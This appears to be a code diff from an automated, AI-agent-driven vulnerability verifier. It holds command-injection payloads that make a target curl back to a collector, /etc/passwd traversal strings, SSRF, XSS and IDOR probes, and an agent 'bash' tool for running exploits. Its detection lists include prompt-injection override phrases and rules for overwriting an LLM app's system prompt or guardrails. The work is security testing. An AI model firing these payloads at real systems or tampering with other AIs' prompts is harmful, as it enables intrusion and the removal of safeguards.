+        await dialog.dismiss().catch(() => {
+        });
+      });
+      let replayed = false;
+      await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
+        const request = route.request();
+        const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
+        if (initial)
+          replayed = true;
+        const replayInit = {
+          method: initial ? init.method : request.method(),
+          headers: initial ? init.headers : request.headers(),
+          body: initial ? init.body : request.postData(),
+          redirect: "manual"
+        };
+        if (context.fetch) {
+          try {
+            const response = await context.fetch(request.url(), replayInit);
+            const headers = Object.fromEntries(response.headers);
+            delete headers["content-encoding"];
+            delete headers["content-length"];
+            await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
+          } catch {
+            await route.abort();
+          }
+        } else if (initial) {
+          await route.continue({
+            method: init.method,
+            headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
+            ...typeof init.body === "string" ? { postData: init.body } : {}
+          });
+        } else {
+          await route.continue();
+        }
+      });
+      await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
+      await page.waitForTimeout(500);
+      await browser.close();
+      browser = null;
+      if (dialogMessage === token) {
+        return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
+      }
+    } catch (err) {
+      if (browser)
+        await browser.close().catch(() => {
+        });
+      return {
+        verified: false,
+        confidence: htmlReflected ? 0.4 : 0,
+        evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
+        inconclusive: true,
+        reason: `playwright navigation failed: ${err.message}`
+      };
+    }
+  }
+  if (htmlReflected) {
+    return {
+      verified: false,
+      confidence: 0.5,
+      evidence: `html_reflection: payload reflected unencoded in response body`,
+      reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
+    };
+  }
+  return notVerifiable("no xss reflection or alert captured");
+}
+async function withCollector(nonce, timeoutMs, work) {
+  const port = 8888 + Math.floor(Math.random() * 1e3);
+  let hit = false;
+  const server = createServer((req, res) => {
+    if ((req.url ?? "").includes(nonce))
+      hit = true;
+    res.writeHead(200);
+    res.end("ok");
+  });
+  await new Promise((resolve2) => server.listen(port, "127.0.0.1", resolve2));
+  const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
+  const waitForHit = async () => {
+    const deadline = Date.now() + timeoutMs;
+    while (Date.now() < deadline) {
+      if (hit)
+        return true;
+      await new Promise((r) => setTimeout(r, 100));
+    }
+    return hit;
+  };
+  try {
+    return await work(collectorUrl, waitForHit);
+  } finally {
+    await new Promise((resolve2) => server.close(() => resolve2()));
+  }
+}
+async function verifySsrf(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
+  return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
+    const { url, init } = buildProbeRequest(parsed, {
+      [victim.key]: collectorUrl
+    });
+    const probe = await timedFetch(url, init, 8e3);
+    if (!probe)
+      return notVerifiable("ssrf probe failed to send");
+    const hit = await waitForHit();
+    if (hit) {
+      return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
+    }
+    return {
+      verified: false,
+      confidence: 0,
+      evidence: "",
+      reason: `collector never received a request for nonce=${nonce}`
+    };
+  });
+}
+async function verifyRce(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
+  return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
+    const payloads = [
+      `${victim.value};curl ${collectorUrl}`,
+      `${victim.value}|curl ${collectorUrl}`,
+      `${victim.value}$(curl ${collectorUrl})`,
+      `${victim.value}\`curl ${collectorUrl}\``,
+      `${victim.value}&&curl ${collectorUrl}`
+    ];
+    for (const payload of payloads) {
+      const { url, init } = buildProbeRequest(parsed, {
+        [victim.key]: payload
+      });
+      await timedFetch(url, init, 8e3);
+    }
+    const hit = await waitForHit();
+    if (hit)
+      return verified(`collector hit: nonce=${nonce}`);
+    return {
+      verified: false,
+      confidence: 0,
+      evidence: "",
+      reason: `collector never received a request for nonce=${nonce}`
+    };
+  });
+}
+var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
+async function verifyPathTraversal(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const payloads = [
+    "../../../../etc/passwd",
+    "..%2f..%2f..%2f..%2fetc%2fpasswd",
+    "..%252f..%252f..%252fetc%252fpasswd",
+    "../../../../etc/passwd%00",
+    "....//....//....//etc/passwd",
+    "/etc/passwd"
+  ];
+  for (const payload of payloads) {
+    const { url, init } = buildProbeRequest(parsed, {
+      [victim.key]: payload
+    });
+    const probe = await timedFetch(url, init);
+    if (!probe)
+      continue;
+    const m = probe.body.match(PASSWD_PATTERN);
+    if (m) {
+      return verified(`payload=${payload} response contained "${m[0]}"`);
+    }
+  }
+  return notVerifiable("no /etc/passwd signature in any traversal probe response");
+}
+async function verifyIdor(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const boundary = await context.verifyAccessControl?.(finding, target);
+  if (boundary)
+    return boundary;
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  if (parsed.method !== "GET")
+    return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
+  let idKey = null;
+  let idValue = 0;
+  for (const [k, v] of Object.entries(parsed.params)) {
+    if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
+      idKey = k;
+      idValue = parseInt(v, 10);
+      break;
+    }
+  }
+  if (!idKey) {
+    for (const [k, v] of Object.entries(parsed.params)) {
+      if (/^\d+$/.test(v)) {
+        idKey = k;
+        idValue = parseInt(v, 10);
+        break;
+      }
+    }
+  }
+  if (!idKey)
+    return notVerifiable("no numeric id-like parameter to mutate");
+  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
+  if (!baseline)
+    return notVerifiable("baseline request failed");
+  const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
+  const hits = [];
+  for (const variant of variants) {
+    if (variant === String(idValue))
+      continue;
+    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
+    if (!probe)
+      continue;
+    if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
+      hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
+    }
+  }
+  if (hits.length > 0) {
+    return {
+      verified: false,
+      confidence: 0.7,
+      inconclusive: true,
+      evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
+      reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
+    };
+  }
+  return notVerifiable("no distinct 200 response on id mutation");
+}
+async function verifyOracleByCategory(finding, target, context = {}) {
+  const category = finding.category;
+  switch (category) {
+    case "sql-injection":
+      return verifySqli(finding, target, context);
+    case "xss":
+      return verifyReflectedXss(finding, target, context);
+    case "ssrf":
+      return verifySsrf(finding, target, context);
+    case "command-injection":
+    case "code-injection":
+      return verifyRce(finding, target, context);
+    case "path-traversal":
+      return verifyPathTraversal(finding, target, context);
+    // Heuristic: "information-disclosure" findings referencing an id param
+    // look a lot like IDOR. We route them through the IDOR oracle as well.
+    case "information-disclosure":
+      return verifyIdor(finding, target, context);
+    default:
+      return {
+        verified: false,
+        confidence: 0,
+        evidence: "",
+        reason: `no oracle for category="${category}"`
+      };
+  }
+}
 
-### Step 4: Triage, don't over-claim
-- For each reproduced crash, classify the primitive (use-after-free, type-confusion,
-  heap-oob-*, \u2026) and whether the offset / value is attacker-controllable.
-- A crash under the sanitizer is a *finding*; a full UAF\u2192leak\u2192arbitrary-read chain
-  is NOT auto-synthesised \u2014 that stays human/agent-authored and gated by verify.
-- save_finding with: the unsafe block / GC-root gap, the minimal reproducing input,
-  the sanitizer/miri output, and the local build commit. Assume false-positive until
-  the local instrumented build reproduces it deterministically.`
-};
-var INDICATORS = [
-  {
-    type: "sqli",
-    patterns: [
-      /SQL syntax/i,
-      /mysql_fetch/i,
-      /sqlite3?\./i,
-      /pg_query/i,
-      /ORA-\d{5}/i,
-      /ODBC SQL Server/i,
-      /unclosed quotation mark/i,
-      /syntax error.*near/i,
-      /sql.*error/i,
-      /database.*error/i,
-      /SELECT\s+.*FROM\s+/i,
-      /information_schema/i,
-      /UNION\s+SELECT/i
-    ]
-  },
-  {
-    // Structural / JSON-key SQLi (#774): the injectable surface is a key /
-    // field name concatenated into SQL (ORDER BY, dynamic column). These
-    // patterns point at identifier-position injection + the column-name error
-    // shapes that value-fuzz SQLi detection does not key on.
-    type: "structural_sqli",
-    patterns: [
-      /ORDER\s+BY/i,
-      /GROUP\s+BY/i,
-      /Unknown column '[^']*' in/i,
-      /column "[^"]*" does not exist/i,
-      /Invalid column name/i,
-      /no such column/i,
-      /\b(sort|order)(_?by|_?field|field|_?column|_?dir)\b/i,
-      /"(sort|order|column|field|groupBy|orderBy)"\s*:/i,
-      /unrecognized token/i
-    ]
-  },
-  {
-    type: "ssti",
-    patterns: [
-      /\{\{.*\}\}/,
-      /\$\{.*\}/,
-      /<%=.*%>/,
-      /jinja/i,
-      /mako/i,
-      /twig/i,
-      /freemarker/i,
-      /thymeleaf/i,
-      /template.*engine/i,
-      /\b49\b/
-      // result of {{7*7}}
-    ]
-  },
-  {
-    type: "idor",
-    patterns: [
-      /\/api\/users?\/\d+/i,
-      /\/profile\?id=/i,
-      /\/user\/\d+/i,
-      /\/account\/\d+/i,
-      /\/edit\/\d+/i,
-      /\/order\/\d+/i,
-      /user_id/i,
-      /owner_id/i,
-      /account_id/i
-    ]
-  },
-  {
-    // Multi-identity access-control surface (0#564). Distinct from `idor`:
-    // these patterns point at object/function references that should be tested
-    // with the access_control_probe tool across identities, plus the authz
-    // signals (admin endpoints, role params, allow/deny status codes).
-    type: "access_control",
-    patterns: [
-      /\/api\/[a-z]+\/\d+/i,
-      /\/api\/admin\//i,
-      /\/admin\b/i,
-      /\bobject[_-]?id\b/i,
-      /\bresource[_-]?id\b/i,
-      /\borg(?:anization)?[_-]?id\b/i,
-      /\btenant[_-]?id\b/i,
-      /\bis[_-]?admin\b/i,
-      /\brole\s*[=:]/i,
-      /\bunauthorized\b/i,
-      /\bforbidden\b/i,
-      /\b403\b/,
-      /\b401\b/
-    ]
-  },
-  {
-    type: "xss",
-    patterns: [
-      /<script/i,
-      /onerror\s*=/i,
-      /onload\s*=/i,
-      /javascript:/i,
-      /document\.cookie/i,
-      /innerHTML/i,
-      /document\.write/i,
-      /reflected.*input/i,
-      /Content-Type:.*text\/html/i,
-      /<form[\s>]/i,
-      /<input[\s>]/i,
-      /<textarea[\s>]/i,
-      /type=["']?text["']?/i,
-      /name=["']?(search|query|q|comment|message|name|title|body|content|text|url|redirect|callback|return)/i,
-      /\?[^=]+=.*</i,
-      /xss/i,
-      /cross.site/i,
-      /sanitiz/i,
-      /escape/i,
-      /\.php\?/i
-    ]
-  },
-  {
-    type: "ssrf",
-    patterns: [
-      /url[=:]\s*http/i,
-      /webhook/i,
-      /callback.*url/i,
-      /fetch.*url/i,
-      /proxy/i,
-      /redirect.*url/i,
-      /169\.254\.169\.254/,
-      /metadata/i
-    ]
-  },
-  {
-    type: "lfi",
-    patterns: [
-      /file[=:]/i,
-      /path[=:]/i,
-      /include[=:]/i,
-      /template[=:]/i,
-      /\.\.\/\.\.\//,
-      /etc\/passwd/i,
-      /\/proc\/self/i,
-      /root:x:0:0/,
-      /\[boot loader\]/i
-    ]
-  },
+// packages/core/dist/triage/pov-gate.js
+var execFileAsync = promisify(execFile2);
+function oracleForCategory(category) {
+  switch (category) {
+    case "xss":
+      return "headless-browser";
+    case "ssrf":
+    case "command-injection":
+    case "code-injection":
+      return "oast-callback";
+    default:
+      return "regex-fallback";
+  }
+}
+function oastConfirmedPayload(finding, oracle) {
+  if (!oracle.verified)
+    return null;
+  if (oracleForCategory(finding.category) !== "oast-callback")
+    return null;
+  return {
+    findingId: finding.id,
+    category: finding.category,
+    oracle: "oast-callback",
+    hasPov: true,
+    reason: oracle.evidence || void 0
+  };
+}
+var POV_TOOLS = [
   {
-    type: "auth_bypass",
-    patterns: [
-      /login/i,
-      /sign.?in/i,
-      /auth/i,
-      /password/i,
-      /session/i,
-      /jwt/i,
-      /bearer/i,
-      /unauthorized/i,
-      /403/,
-      /401/
-    ]
+    name: "bash",
+    description: "Execute a shell command (curl, python, etc.) to run the exploit. Use this to actually invoke your PoC and capture its output.",
+    input_schema: {
+      type: "object",
+      properties: {
+        command: { type: "string", description: "Shell command to run" }
+      },
+      required: ["command"]
+    }
   },
   {
-    type: "blind_exploitation",
-    patterns: [
-      /\bblind\b/i,
-      /no output/i,
-      /waf/i,
-      /firewall/i,
-      /filter.*block/i,
-      /block.*filter/i,
-      /request.*rejected/i,
-      /forbidden/i,
-      /\b403\b/,
-      /not allowed/i,
-      /suspicious/i,
-      /malicious.*input/i,
-      /identical.*respons/i,
-      /same.*respons/i,
-      /time.?based/i,
-      /out.?of.?band/i,
-      /\boob\b/i,
-      /callback/i,
-      /interactsh/i,
-      /webhook\.site/i,
-      /sleep\(/i,
-      /pg_sleep/i,
-      /benchmark\(/i,
-      /php:\/\/filter/i,
-      /convert\.base64-encode/i,
-      /\.\.%2f/i,
-      /\.\.%252f/i,
-      /encoding.*restrict/i,
-      /sanitiz.*input/i,
-      /stripped/i
-    ]
+    name: "http_request",
+    description: "Send a raw HTTP request. Returns the response body/status. Useful when you want a typed request without shelling out to curl.",
+    input_schema: {
+      type: "object",
+      properties: {
+        url: { type: "string", description: "Target URL" },
+        method: { type: "string", description: "HTTP method (default GET)" },
+        body: { type: "string", description: "Request body" },
+        headers: {
+          type: "object",
+          description: "Additional headers as key-value pairs"
+        }
+      },
+      required: ["url"]
+    }
   },
   {
-    type: "command_injection",
-    patterns: [
-      /exec\s*\(/i,
-      /system\s*\(/i,
-      /popen\s*\(/i,
-      /subprocess/i,
-      /child_process/i,
-      /shell.*true/i,
-      /ping\s/i,
-      /nslookup/i,
-      /traceroute/i
-    ]
+    name: "submit_pov",
+    description: "Submit the final proof-of-vulnerability once you have confirmed the exploit works. Call this EXACTLY ONCE with the working artifact and the execution output that proves exploitation. Only call this after you have actually run the exploit and seen category-specific proof in the response.",
+    input_schema: {
+      type: "object",
+      properties: {
+        artifact_type: {
+          type: "string",
+          description: "Type of artifact",
+          enum: ["curl", "python", "javascript", "bash"]
+        },
+        artifact: {
+          type: "string",
+          description: "The concrete PoC (e.g. the full curl command or script source)."
+        },
+        execution_evidence: {
+          type: "string",
+          description: "The response / output from running the artifact, showing category-specific proof (extracted data, /etc/passwd, whoami, reflected script, etc.)."
+        }
+      },
+      required: ["artifact_type", "artifact", "execution_evidence"]
+    }
   },
   {
-    type: "deserialization",
+    name: "give_up",
+    description: "Call this if you CANNOT produce a working exploit. Do NOT speculate or describe what would happen \u2014 if you cannot run it and see real proof, give up honestly.",
+    input_schema: {
+      type: "object",
+      properties: {
+        reason: { type: "string", description: "Why no PoV was possible" }
+      },
+      required: ["reason"]
+    }
+  }
+];
+var CATEGORY_JUDGES = {
+  "sql-injection": {
+    label: "SQLi: extracted DB data / error / version string",
     patterns: [
-      // PHP
-      /unserialize\s*\(/i,
-      /__wakeup/,
-      /__destruct/,
-      /O:\d+:"[\w\\]+":\d+:\{/,
-      // PHP serialized object header
-      /unserialize\(\):\s*Error at offset/i,
-      /phpggc/i,
-      // Python pickle
-      /pickle\.loads?\s*\(/i,
-      /cPickle/i,
-      /__reduce__/,
-      // YAML
-      /yaml\.load\s*\(/i,
-      /!!python\/object/i,
-      /!ruby\/object/i,
-      /SnakeYAML/i,
-      /FullLoader/,
-      /SafeLoader/,
-      // Java
-      /rO0AB/,
-      // base64 of Java serialization magic
-      /\xac\xed\x00\x05/,
-      /application\/x-java-serialized-object/i,
-      /ysoserial/i,
-      /CommonsCollections/i,
-      // .NET
-      /BinaryFormatter/i,
-      /ObjectStateFormatter/i,
-      /__VIEWSTATE/,
-      /TypeNameHandling/i,
-      // Ruby
-      /Marshal\.load/i,
-      /Gem::Installer/,
-      // Generic
-      /deserializ/i,
-      /serializ.*object/i
+      /\b(mysql|mariadb|postgres|postgresql|sqlite|oracle)\b.*\bversion\b/i,
+      /\b\d+\.\d+\.\d+[-\w]*-?(mariadb|mysql|ubuntu|debian|log)\b/i,
+      /you have an error in your sql syntax/i,
+      /ORA-\d{5}/,
+      /pg_(sleep|version|database)/i,
+      /information_schema\.(tables|columns|schemata)/i,
+      /union\s+select/i,
+      /\bsqlite_version\(\)/i,
+      // Extracted user/hash row patterns
+      /['"]\s*,\s*['"][0-9a-f]{32,}['"]/
     ]
   },
-  {
-    type: "request_smuggling",
+  xss: {
+    label: "XSS: script reflected unencoded or dialog fired",
     patterns: [
-      /Transfer-Encoding/i,
-      /chunked/i,
-      /Content-Length.*Transfer-Encoding/is,
-      /Transfer-Encoding.*Content-Length/is,
-      /CL\.TE/i,
-      /TE\.CL/i,
-      /TE\.TE/i,
-      /desync/i,
-      /smuggl/i,
-      /HAProxy/i,
-      /Apache Traffic Server/i,
-      /\bnginx\/1\.[0-9]\./i,
-      // old nginx often vulnerable
-      /HTTP\/1\.1.*keep-alive/i,
-      /front.?end.*back.?end/i,
-      /reverse.proxy/i,
-      /X-Forwarded-For/i
+      /<script[^>]*>[^<]*(alert|confirm|prompt)\s*\(/i,
+      /on(error|load|click|mouseover)\s*=\s*["']?\s*(alert|confirm|prompt)\s*\(/i,
+      /dialog\s+(fired|opened|appeared)/i,
+      /\balert\(1\)/i,
+      /javascript:alert/i
     ]
   },
-  {
-    type: "creative_idor",
+  ssrf: {
+    label: "SSRF: internal IP/metadata endpoint responded",
     patterns: [
-      /\/api\/v\d+\//i,
-      /\/v\d+\//,
-      /id=\d+/,
-      /user_?id/i,
-      /owner_?id/i,
-      /account_?id/i,
-      /role=/i,
-      /is_?admin/i,
-      /X-Original-URL/i,
-      /X-Rewrite-URL/i,
-      /X-HTTP-Method/i,
-      /_method=/i,
-      /mass.assignment/i,
-      /parameter.pollution/i,
-      /\bHPP\b/,
-      /403.*forbidden/i,
-      /401.*unauthorized/i,
-      /not.*authorized/i,
-      /permission.denied/i,
-      /access.denied/i,
-      /enumerate/i,
-      /sequential.*id/i,
-      /predictable.*id/i
+      /169\.254\.169\.254/,
+      /metadata\.google\.internal/i,
+      /instance-identity/i,
+      /iam\/security-credentials/i,
+      /127\.0\.0\.1|localhost/i,
+      /10\.\d{1,3}\.\d{1,3}\.\d{1,3}/,
+      /192\.168\.\d{1,3}\.\d{1,3}/,
+      /172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}/
     ]
   },
-  {
-    type: "cve_exploitation",
+  "command-injection": {
+    label: "RCE: command output in response",
     patterns: [
-      // WordPress indicators
-      /wp-content/i,
-      /wp-includes/i,
-      /wp-admin/i,
-      /wp-json/i,
-      /xmlrpc\.php/i,
-      /wordpress/i,
-      /wp-login/i,
-      /\/wp-content\/plugins\//i,
-      /\/wp-content\/themes\//i,
-      // Drupal / Joomla
-      /drupal/i,
-      /joomla/i,
-      /X-Drupal-Cache/i,
-      // Generator / version disclosure
-      /<meta\s+name=["']generator["']/i,
-      /X-Generator:/i,
-      /X-Powered-By:/i,
-      /Server:\s*Apache\/[\d.]+/i,
-      /Server:\s*nginx\/[\d.]+/i,
-      // Common fingerprint files
-      /readme\.html/i,
-      /CHANGELOG\.txt/i,
-      /composer\.json/i,
-      /package\.json/i,
-      // CVE / version strings
-      /CVE-\d{4}-\d{4,7}/i,
-      /\?ver=[\d.]+/i,
-      /version[\s:=]+[\d]+\.[\d]+/i,
-      // Plugin slugs commonly seen
-      /contact-form-7/i,
-      /woocommerce/i,
-      /elementor/i,
-      /yoast/i,
-      /wp-file-manager/i,
-      /duplicator/i,
-      /ninja-forms/i
+      /uid=\d+\([^)]+\)\s+gid=\d+/,
+      /\broot:x:0:0:/,
+      /Linux\s+[\w.-]+\s+\d+\.\d+\.\d+/,
+      /^\/bin\/(bash|sh)/m,
+      /PATH=[^\n]{5,}/,
+      /^(usr|bin|etc|var|tmp|home|root)\b/m,
+      /\bwhoami\b\s*[\r\n]+\s*\w+/i
     ]
   },
-  {
-    type: "prompt_injection",
+  "code-injection": {
+    label: "Code injection: arbitrary code output in response",
     patterns: [
-      /prompt.?inject/i,
-      /ignore (?:all |the |your )?(?:previous|prior|above) instructions/i,
-      /system prompt/i,
-      /jailbreak/i,
-      /\bLLM\b/,
-      /chatbot/i,
-      /\bassistant\b/i,
-      /role[:=]\s*system/i,
-      /you are (?:a|an|now)/i,
-      /\bDAN\b/
+      /uid=\d+\([^)]+\)/,
+      /\broot:x:0:0:/,
+      /__import__|eval\(|exec\(/,
+      /\bpython\d?\b.*traceback/i
     ]
   },
-  {
-    type: "rag_poisoning",
+  "path-traversal": {
+    label: "LFI: sensitive file contents in response",
     patterns: [
-      /\bRAG\b/,
-      /retrieval.augmented/i,
-      /knowledge\s*base/i,
-      /vector\s*(?:store|db|database)/i,
-      /embedding/i,
-      /\bretriev/i,
-      /(?:upload|add|index|ingest).*(?:document|doc|file)/i,
-      /context\s*(?:window|poison)/i,
-      /ask (?:my|your) docs/i,
-      /semantic search/i
+      /\broot:x:0:0:/,
+      /\bdaemon:x:\d+:\d+:/,
+      /\[boot loader\]/i,
+      /-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
+      /\/etc\/shadow/
     ]
   },
-  {
-    type: "insecure_output_handling",
+  "information-disclosure": {
+    label: "IDOR / info disclosure: access to restricted data",
     patterns: [
-      /!\[[^\]]*\]\(https?:\/\//,
-      // markdown image
-      /render(?:ed|s)?.*(?:markdown|html|output)/i,
-      /\bXSS\b/,
-      /innerHTML/i,
-      /dangerouslySetInnerHTML/i,
-      /output.*(?:render|execut|eval)/i,
-      /<img[^>]+onerror/i,
-      /<script/i,
-      /unescap/i,
-      /link\s*(?:preview|unfurl)/i
+      /"(email|password|ssn|credit_?card|api[_-]?key|token)"\s*:/i,
+      /\broot:x:0:0:/,
+      /-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
+      /user\s*id\s*[:=]\s*\d+/i
     ]
   },
-  {
-    type: "excessive_agency",
+  "heap-overflow": {
+    label: "Heap overflow: KASAN out-of-bounds or crash evidence",
     patterns: [
-      /excessive.agency/i,
-      /function.call/i,
-      /tool.use/i,
-      /\bplugin/i,
-      /\bMCP\b/,
-      /\bagent\b/i,
-      /(?:send|delete|transfer|execute|invoke).*(?:tool|function|action)/i,
-      /tool[_-]?call/i,
-      /autonomous/i,
-      /human.in.the.loop/i
+      /BUG:\s*KASAN:\s*(slab-)?out-of-bounds/i,
+      /heap-buffer-overflow/i,
+      /\bKASAN\b.*\b(read|write)\b.*\bsize\s+\d+\b/i,
+      /allocated by task/i,
+      /Oops:.*\[#\d+\]/
     ]
   },
-  {
-    // AI prompt-layer write target (0#775). Fires when a DB foothold
-    // coincides with LLM-app + prompt-store signals: the system prompt /
-    // guardrails / model config live in a writable DB row. Distinct from
-    // rag_poisoning (writable retrieval docs) — this is the *control* layer.
-    type: "prompt_layer_write",
+  "use-after-free": {
+    label: "UAF: KASAN use-after-free or freed-object access",
     patterns: [
-      /system[_\s-]?prompt/i,
-      /\bguardrail/i,
-      /prompt[_\s-]?template/i,
-      /\bpersona\b/i,
-      /assistant[_\s-]?config/i,
-      /agent[_\s-]?config/i,
-      /model[_\s-]?config/i,
-      /safety[_\s-]?settings/i,
-      /\bllm[_\s-]?settings/i,
-      /\bLLM\b/,
-      /\bchatbot\b/i,
-      /you are (?:a|an|now)/i,
-      // DB-foothold co-signals
-      /\bSQLi\b/i,
-      /information_schema/i,
-      /SHOW\s+TABLES/i,
-      /\bUPDATE\s+\w+\s+SET/i,
-      /getCollectionNames/i,
-      /\bGRANT\b/i,
-      /\bUPDATE\b.*privilege/i
+      /BUG:\s*KASAN:\s*(slab-)?use-after-free/i,
+      /Freed by task/i,
+      /\buse-after-free\b/i,
+      /\bKASAN\b.*\bfreed\b/i,
+      /allocated by task.*\nfreed by task/is
     ]
   },
-  {
-    // Rust / userspace memory-safety + sandbox-escape (0#696, Monty-mode).
-    // Fires on Rust unsafe / FFI surface, memory-corruption signals (sanitizer
-    // and miri output, GC-root / refcount language), and the language-runtime
-    // sandbox context the round-1 UAF lived in.
-    type: "rust_memsafety",
+  "stack-buffer-overflow": {
+    label: "Stack overflow: KASAN stack-out-of-bounds",
     patterns: [
-      /\bunsafe\b/i,
-      /\bPyO3\b/i,
-      /\bcargo[\s-]?fuzz\b/i,
-      /\blibfuzzer\b/i,
-      /\bmiri\b/i,
-      /AddressSanitizer/i,
-      /\bASAN\b/i,
-      /\bUBSAN\b/i,
-      /heap-use-after-free/i,
-      /use[\s-]?after[\s-]?free/i,
-      /double[\s-]?free/i,
-      /type[\s-]?confusion/i,
-      /\btransmute\b/i,
-      /from_raw\b/i,
-      /\bPy_(?:INCREF|DECREF)\b/i,
-      /\brefcount\b/i,
-      /\bgc[\s_-]?root\b/i,
-      /gc\.collect\(/i,
-      /garbage collector/i,
-      /\.rs\b/,
-      /\bcargo\b/i,
-      /\bsegfault\b/i,
-      /sandbox escape/i
+      /BUG:\s*KASAN:\s*stack-out-of-bounds/i,
+      /stack-buffer-overflow/i,
+      /\bKASAN\b.*\bstack\b/i
     ]
-  }
-];
-function detectPlaybooks(toolResultTexts) {
-  const combined = toolResultTexts.join("\n");
-  const scores = /* @__PURE__ */ new Map();
-  for (const indicator of INDICATORS) {
-    let matchCount = 0;
-    for (const pattern of indicator.patterns) {
-      if (pattern.test(combined)) {
-        matchCount++;
-      }
-    }
-    if (matchCount >= 2) {
-      scores.set(indicator.type, matchCount);
-    }
-  }
-  return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
-}
-function buildPlaybookInjection(types) {
-  const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
-  if (sections.length === 0)
-    return "";
-  return [
-    "## Dynamic Playbook Injection",
-    "",
-    "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
-    "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
-    "",
-    ...sections
-  ].join("\n");
-}
-var PROMPT_LAYER_IMPACT_RULES = [
-  {
-    impact: "guardrail_removal",
+  },
+  "null-pointer-deref": {
+    label: "Null deref: kernel NULL pointer dereference",
     patterns: [
-      /\bguardrail/i,
-      /safety[_\s-]?settings?/i,
-      /\bmoderation\b/i,
-      /\bpolicy\b/i,
-      /\brefus/i,
-      /\bnever (?:reveal|disclose|share|answer)/i,
-      /you must (?:refuse|not)/i,
-      /content[_\s-]?filter/i
+      /BUG:\s*kernel NULL pointer dereference/i,
+      /unable to handle kernel NULL pointer/i,
+      /general protection fault.*0000/i,
+      /Oops:.*\[#\d+\]/,
+      /IP:.*\+0x/
     ]
   },
-  {
-    impact: "output_channel_exfil",
+  "integer-overflow": {
+    label: "Integer overflow: UBSAN or arithmetic overflow",
     patterns: [
-      /output[_\s-]?(?:channel|template|format)/i,
-      /webhook/i,
-      /\bcallback\b/i,
-      /markdown/i,
-      /!\[[^\]]*\]\(https?:\/\//,
-      /append .*(?:url|link|http)/i
+      /UBSAN:\s*(shift|integer|array)/i,
+      /signed integer overflow/i,
+      /unsigned integer overflow/i,
+      /shift.*out of range/i,
+      /division by zero/i
     ]
   },
-  {
-    impact: "model_config_tamper",
+  "race-condition": {
+    label: "Race: RCU stall or lock dependency violation",
     patterns: [
-      /model[_\s-]?(?:config|name|id)/i,
-      /\btemperature\b/i,
-      /\btop[_\s-]?p\b/i,
-      /\bmax[_\s-]?tokens\b/i,
-      /tool[_\s-]?(?:config|choice|s)\b/i,
-      /function[_\s-]?(?:config|call)/i,
-      /assistant[_\s-]?config/i,
-      /agent[_\s-]?config/i
+      /rcu.*stall/i,
+      /INFO:\s*possible circular locking/i,
+      /WARNING:.*lockdep/i,
+      /DEADLOCK/i,
+      /inconsistent lock state/i
     ]
   },
-  {
-    impact: "prompt_poisoning",
+  "double-free": {
+    label: "Double free: KASAN double-free detection",
     patterns: [
-      /system[_\s-]?prompt/i,
-      /prompt[_\s-]?template/i,
-      /\bprompts?\b/i,
-      /\binstructions?\b/i,
-      /\bpersona\b/i,
-      /you are (?:a|an|now|the)/i
+      /BUG:\s*KASAN:\s*double-free/i,
+      /KASAN.*double.?free/i,
+      /Object already free/i
+    ]
+  },
+  "type-confusion": {
+    label: "Type confusion: invalid cast or type mismatch",
+    patterns: [
+      /UBSAN:\s*member access.*type/i,
+      /type.*confusion/i,
+      /invalid.*downcast/i,
+      /load of misaligned address/i
     ]
   }
-];
-function looksLikePromptLayer(haystack) {
-  return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
+};
+function judgePovEvidence(finding, executionEvidence) {
+  const judge = CATEGORY_JUDGES[finding.category];
+  if (judge) {
+    for (const pat of judge.patterns) {
+      const m = executionEvidence.match(pat);
